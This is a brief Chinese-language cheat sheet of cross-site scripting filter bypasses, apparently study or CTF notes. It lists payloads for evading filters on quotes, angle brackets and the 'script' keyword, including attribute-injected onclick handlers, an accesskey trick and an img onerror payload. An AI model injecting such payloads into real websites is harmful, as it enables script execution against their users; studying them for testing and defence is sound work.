绕过 ’ 和 "

String.fromCharCode()

绕过 <

" onclick=" alert(1)

事件类型只能为 Form 事件

绕过 >

" accesskey="X" onclick="alert(1)"

绕过 script 关键字

<img src='unknown' onerror='alert(1)'>